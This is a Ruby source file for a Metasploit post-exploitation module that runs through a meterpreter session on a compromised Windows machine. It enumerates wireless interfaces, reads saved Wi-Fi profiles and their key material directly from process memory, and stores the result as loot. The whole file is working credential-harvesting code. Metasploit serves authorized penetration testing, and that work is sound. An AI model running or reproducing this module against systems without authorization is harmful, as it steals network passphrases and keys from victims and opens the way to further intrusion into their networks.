## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post include Msf::Auxiliary::Report def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Wireless Profile', 'Description' => %q{ This module extracts saved Wireless LAN profiles. It will also try to decrypt the network key material. Behaviour is slightly different bewteen OS versions when it comes to WPA. In Windows Vista/7 we will get the passphrase. In Windows XP we will get the PBKDF2 derived key. }, 'License' => MSF_LICENSE, 'Author' => ['theLightCosine'], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) end def run #Opens memory access into the host process mypid = client.sys.process.getpid @host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS) @wlanapi = client.railgun.wlanapi wlan_info = "Wireless LAN Profile Information \n" wlan_handle = open_handle() unless wlan_handle print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target") print_error("On Windows XP this could also mean the Wireless Zero Configuration Service is turned off") return end wlan_iflist = enum_interfaces(wlan_handle) if wlan_iflist.empty? print_status("No wireless interfaces") return end #Take each enumerated interface and gets the profile information available on each one wlan_iflist.each do |interface| wlan_profiles = enum_profiles(wlan_handle, interface['guid']) guid = guid_to_string(interface['guid']) #Store all the information to be saved as loot wlan_info << "GUID: #{guid} Description: #{interface['description']} State: #{interface['state']}\n" wlan_profiles.each do |profile| wlan_info << " Profile Name: #{profile['name']}\n" wlan_info << profile['xml'] end end #strip the nullbytes out of the text for safe outputting to loot wlan_info.gsub!(/\x00/,"") print_good(wlan_info) store_loot("host.windows.wlan.profiles", "text/plain", session, wlan_info, "wlan_profiles.txt", "Wireless LAN Profiles") #close the Wlan API Handle closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil) if closehandle['return'] == 0 print_status("WlanAPI Handle Closed Successfully") else print_error("There was an error closing the Handle") end end def open_handle begin wlhandle = @wlanapi.WlanOpenHandle(2,nil,4,4) rescue return nil end return wlhandle['phClientHandle'] end def enum_interfaces(wlan_handle) iflist = @wlanapi.WlanEnumInterfaces(wlan_handle,nil,4) pointer= iflist['ppInterfaceList'] numifs = @host_process.memory.read(pointer,4) numifs = numifs.unpack("V")[0] interfaces = [] return [] if numifs.nil? #Set the pointer ahead to the first element in the array pointer = (pointer + 8) (1..numifs).each do |i| interface = {} #Read the GUID (16 bytes) interface['guid'] = @host_process.memory.read(pointer,16) pointer = (pointer + 16) #Read the description(up to 512 bytes) interface['description'] = @host_process.memory.read(pointer,512) pointer = (pointer + 512) #Read the state of the interface (4 bytes) state = @host_process.memory.read(pointer,4) pointer = (pointer + 4) #Turn the state into human readable form state = state.unpack("V")[0] case state when 0 interface['state'] = "The interface is not ready to operate." when 1 interface['state'] = "The interface is connected to a network." when 2 interface['state'] = "The interface is the first node in an ad hoc network. No peer has connected." when 3 interface['state'] = "The interface is disconnecting from the current network." when 4 interface['state'] = "The interface is not connected to any network." when 5 interface['state'] = "The interface is attempting to associate with a network." when 6 interface['state'] = "Auto configuration is discovering the settings for the network." when 7 interface['state'] = "The interface is in the process of authenticating." else interface['state'] = "Unknown State" end interfaces << interface end return interfaces end def enum_profiles(wlan_handle,guid) profiles=[] proflist = @wlanapi.WlanGetProfileList(wlan_handle,guid,nil,4) ppointer = proflist['ppProfileList'] numprofs = @host_process.memory.read(ppointer,4) numprofs = numprofs.unpack("V")[0] ppointer = (ppointer + 8) (1..numprofs).each do |j| profile={} #Read the profile name (up to 512 bytes) profile['name'] = @host_process.memory.read(ppointer,512) ppointer = (ppointer + 516) rprofile = @wlanapi.WlanGetProfile(wlan_handle,guid,profile['name'],nil,4,4,4) xpointer= rprofile['pstrProfileXML'] #The size of the XML string is unknown. If we read too far ahead we will cause it to break #So we start at 1000bytes and see if the end of the xml is present, if not we read ahead another 100 bytes readsz = 1000 profmem = @host_process.memory.read(xpointer,readsz) until profmem[/(\x00){2}/] readsz = (readsz + 100) profmem = @host_process.memory.read(xpointer,readsz) end #Slice off any bytes we picked up after the string terminates profmem.slice!(profmem.index(/(\x00){2}/), (profmem.length - profmem.index(/(\x00){2}/))) profile['xml'] = profmem profiles << profile end return profiles end #Convert the GUID to human readable form def guid_to_string(guid) aguid = guid.unpack("H*")[0] sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2] sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4] sguid << "-" + aguid[20,12] + "}" return sguid end end